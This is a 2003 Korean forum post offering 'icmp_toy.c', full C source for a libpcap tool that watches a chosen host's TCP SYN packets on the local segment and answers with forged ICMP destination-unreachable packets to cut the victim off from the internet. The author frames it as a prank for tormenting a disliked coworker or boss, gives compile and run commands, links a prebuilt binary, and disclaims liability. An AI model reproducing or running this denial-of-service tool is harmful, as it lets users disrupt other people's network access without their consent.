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2003.04.23 11:13
[c] ICMP 패킷을 이용한 장난감
조회 수 17608 댓글 0
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# ICMP패킷을 이용한 장난감
#
# 글쓴이 : 노광민
# email : dalgu2@orgio.net
# homepage : http://myhome.shinbiro.com/~nkm24
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안녕하십니까 리눅스에서 pcap library를 사용하여 패킷을 잡아보기란 글을 올렸던
노광민입니다.
이글은 제가 올렸던 위의글을 읽어보셨다는 가정하에 이젠 무엇을 해 볼까 고민하는
분들을 위해 재미있는 장난감 하나를 소개하고자 합니다.
이 장난감을 갖고 놀기 위한 조건은 아래와 같습니다.
경우 1
1.1 맘에 안 드는 사람이 있다.
1.2 그 사람과 난 같은 네트웍 세트먼트안에서 컴을 쓰고 있다.
1.3 그 사람은 하루라도 인터넷을 쓰지 않으면 미치버리는 사람이다.
1.4 그 사람을 미쳐버리게 하고 싶다.
경우 2
2.1 맨날 앉아서 펜대 굴리면서 결재만 하는 보기싫은 상사가 있다.
2.2 그 상사와 난 같은 네트웍 세트먼트안에서 컴을 쓰고 있다.
2.3 조금만 딴짓 하면 소리지르면서 자기는 맨날 증권만 한다.
2.4 가서 머리박을 한 대 쥐어박고 싶지만 딸린 처자식이 있어서 그렇게 못한다.
2.5 저 놈을 어떻게 미쳐버리게 하지...
경우 3
3.1 그 놈과 나는 마주본다.
3.2 그 놈과 난 같은 네트웍 세트먼트안에서 컴을 쓰고 있다.
3.3 눈이 돌아가는 것을 가만히 보면 분명 딴 짓을 하고 있다.
3.4 내가 다가가면 재빨리 마우스 조작을 한다.
3.5 모니터 화면을 보면 각종 서류 편집 화면만 보인다.
3.6 이 놈 분명히 딴 짓 하고 있는데 손가락 겁나게 빠르네...
경우 4
4.1 프로젝트가 치명적인 버그 때문에 막혀있다.
4.2 그런데도 그 놈은 아랑곳하지 않고 게임만 한다.
4.3 성질이 더러워서 건들지도 못하겠다.
4.4 이 놈을 어떻게 하지...
조건이 충족된다면 아래의 글을 읽어주십시요...
참고로 이 것을 이용하여 일어난 인적,물적 피해에 대해서는 저는 절대로
책임을 지지 않습니다. 이것에 동의 하시는 분만 이 장난감을 이용할
권리를 드립니다.
제가 소개하고자 하는 소스는 ping 프로그램에서 이용하는 icmp packet를 이용한
간단한 hacking source입니다.
전에 올렸던 글에서 처럼 pcap library를 이용하여 원하는 호스트의 패킷을
획득하여 차단 패킷을 전송하는 원리로 되어있습니다.
자세한 설명은 소스에 나와 있으니 참고바랍니다.
참고로 저는 프로그램 초보입니다.
컴파일하면 waring이 뜰 겁니다. 어떻게 없애는지 잘 모르겠습니다. 가르쳐 주실분은
멜 주세요...^^
여기에 나와 있는 소스는 UNP(UNIX NETWORK PROGRAMMING Volumn1 second edition)와
tcpdump를 참조하여 study -> copy -> paste -> replace -> rebuild의 과정을
거친 소스입니다.
소스가 약간 지저분하더라고 양해 바라며 제가 약간 첨가한 부분은 ping 프로그램을
참고하여 icmp error packet을 만들어 보내는 부분 정도입니다.
누군가 그러더군요. 진정한 프로그래머는 이 세상에서 몇 명 안 된다고...
난 언제쯤 책 안보고 프로그래밍 할 수 있을까...
참 전에 올렸던 소스도 컴파일이 안 되다는 멜을 받았는데 대부분이
bpf.h가 없다는 에러였습니다.
#cp -f /usr/include/pcap/net/bpf.h /usr/include/net
#gcc -g -Wall -o icmp_toy icmp_toy.c -lpcap
이렇게 컴파일하시면 됩니다. 컴파일하기 귀찮으시면
저의 홈페이지 바이너리를 링크시켜 놓았으니 받아가시기 바랍니다.(intel x86)
자기 리눅스 박스에서 먼저 테스트를 해 보세요...
이렇게
#./icmp_toy 192.168.2.10
라고 한다음 다른 창에서 telnet이나 web을 이용해 보세요...^^
장미 한 송이를 받게 될 겁니다...^^
192.168.2.10은 본인의 컴 ip address입니다.
---------------------------- icmp_toy.c ---------------------------------------
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <net/ethernet.h>
#include <pcap/pcap.h> // libpcap를 위한 헤더화일
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/ip_icmp.h>
#define PROMISCUOUS 1
// 자식 프로세스 생성 개수
static int nchild = 5;
char target_ip[16];
static pid_t *pids;
static pcap_t *pd;
/* checksum 알고리즘를 구현한 함수 나는 copy & paste 히히 */
unsigned short in_cksum(unsigned short *addr, int len)
{
int nleft = len;
int sum = 0;
unsigned short *w = addr;
unsigned short answer = 0;
while (nleft > 1) {
sum += *w++;
nleft -= 2;
}
if (nleft == 1) {
*(unsigned char *) (&answer) = *(unsigned char *) w;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return (answer);
}
/* --------------------------------------------------------------------
icmp packet 을 만들어 보내는 함수 : 넌 이제 인터넷과 고립되는 거야!!
-------------------------------------------------------------------*/
void send_icmp(int sockfd, struct iphdr *iph, struct tcphdr *tcph)
{
char buff[36]; // icmp packet 의 전체부분
char data[28]; //icmp data 부분 ip header:20bytes + ulp header:8bytes
/* 화면에 찍기 위해 ip를 임시저장하기 위한 공간 */
int len;
struct sockaddr send;
struct icmp *icmp;
struct sockaddr_in *willsend;
willsend = (struct sockaddr_in *) &send;
willsend->sin_family = AF_INET;
willsend->sin_addr.s_addr = iph->saddr;
fprintf(stdout,"A player's number is (%d) : Shot!! ---<-@ %s n", getpid(), target_ip);
icmp = (struct icmp *) buff;
// 목적지 미도달 : ICMP type
icmp->icmp_type = ICMP_DEST_UNREACH;
icmp->icmp_code = ICMP_PROT_UNREACH;
icmp->icmp_id = 0;
icmp->icmp_seq = 0;
// icmp data 부분중에 패킷의 ip header
memcpy(data, iph, 20);
// icmp data 부분중에 패킷의 Upper Layer Protocol의 상위 8 bytes
memcpy(data + 20, tcph, 8);
// data부분을 icmp_data부분에 대입
memcpy(icmp->icmp_data, data, 28);
// 보내게 될 icmp packet의 길이 : 36 bytes
len = 8 + 20 + 8;
// icmp checksum field 계산
icmp->icmp_cksum= 0;
icmp->icmp_cksum= in_cksum((u_short *) icmp, len);
// 완성된 ICMP packet 보내기
sendto(sockfd, buff, len, 0, &send, sizeof(send));
}
// 장난 칠 놈 컴ip
void checkip(struct iphdr *iph, struct tcphdr *tcph)
{
int sockfd;
char source_ip[16];
strcpy(source_ip, (char *)inet_ntoa(iph->saddr));
sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
//ip 비교 아님 말구...
if ( strcmp(target_ip, source_ip) == 0 )
send_icmp(sockfd, iph, tcph);
close(sockfd);
}
// ip header와 tcp header를 mapping
void packet_info(char *user, int len)
{
struct iphdr *iph;
struct tcphdr *tcph;
// ip header 를 포인터
iph = (struct iphdr *) user;
// tcp header 를 포인터
tcph = (struct tcphdr *) (user + iph->ihl *4);
checkip(iph, tcph);
}
void sig_int(int sig)
{
int i;
// 모든 자식프로세스를 죽인다.
for(i=0; i<nchild; i++)
kill(pids[i],SIGTERM);
/* ---------------------------------------------
모든 자식 프로세스가 죽을 때까지 기다린다.
더 이상 자식프로세스가 없으면 wait()는 -1를
리턴하기 때문에 while loop를 빠져나오게 되고
부모도 exit(0)에 의해 종료한다.
--------------------------------------------*/
while(wait(NULL) > 0)
;
fprintf(stdout,"Bye!!n");
exit(0);
}
// prefork방식을 이용한 child pool 만들기
pid_t child_make(int i, pcap_t *pd, int datalink)
{
pid_t pid;
void child_main(int, pcap_t *, int);
if ((pid=fork()) > 0) {
return (pid); // parent 인경우 자식프로세스의 pid를 리턴
}
// child인 경우 아래 함수 호출
child_main(i, pd, datalink);
}
void child_main(int i, pcap_t *pd, int datalink)
{
void packet_loop(pcap_t *, int);
printf("CHILD %ld startingn", (long) getpid());
packet_loop(pd, datalink);
}
// unp에 있다.
char *next_pcap(pcap_t *pd, int *len)
{
char *ptr;
struct pcap_pkthdr hdr;
while( (ptr = (char *) pcap_next(pd, &hdr)) == NULL) ;
*len = hdr.caplen;
return (ptr);
}
void packet_loop(pcap_t *pd, int datalink)
{
int len;
char *ptr;
/* -----------------------------------------------
계속적으로 packet을 읽어들이는 loop
---------------------------------------------*/
for(;;) {
ptr = next_pcap(pd, &len);
switch (datalink) {
case DLT_EN10MB :
packet_info(ptr+14, len-14);
break;
}
}
}
void usage(void)
{
fprintf(stdout, "SYNOPSIS : icmp_toy xxx.xxx.xxx.xxx(target ip address)n");
}
int main(int argc, char *argv[])
{
struct bpf_program fcode;
char *device, *filter_rule;
char ebuf[pcap_ERRBUF_SIZE];
int i, j, snaplen = 68;
bpf_u_int32 localnet, netmask;
//시그널 등록
signal(SIGINT, sig_int);
if(argc < 2) {
usage();
exit(1);
}
// 장난 칠 컴퓨터 호스트 주소를 복사...
strcpy(target_ip, argv[1]);
/* ---------------------------------------
tcp syn packet만 필터링한다
--------------------------------------*/
filter_rule = "tcp and tcp[13:1] & 2 != 0";
//filter_rule = "ip";
device = pcap_lookupdev(ebuf);
if(device == NULL) {
perror(ebuf);
exit(1);
}
pd = pcap_open_live(device, snaplen, PROMISCUOUS, 1000, ebuf);
if(pd == NULL) {
perror(ebuf);
exit(1);
}
i = pcap_snapshot(pd);
if(snaplen < i) {
perror(ebuf);
exit(1);
}
if(pcap_lookupnet(device, &localnet, &netmask, ebuf) < 0) {
perror(ebuf);
exit(1);
}
setuid(getuid());
if(pcap_compile(pd, &fcode, filter_rule, 0, netmask) < 0) {
perror(ebuf);
exit(1);
}
if(pcap_setfilter(pd, &fcode) < 0) {
perror(ebuf);
exit(1);
}
fflush(stderr);
pids = calloc(nchild, sizeof(pid_t));
/* ----------------------------------------------
nchild 만큼 자식프로세스를 생성하기 위한 loop
--------------------------------------------*/
for(j=0; j<nchild; j++)
pids[j] = child_make(j, pd, pcap_datalink(pd));
for(;;)
pause(); // signal 이 발생할때까지 실행을 지연시킨다.
}
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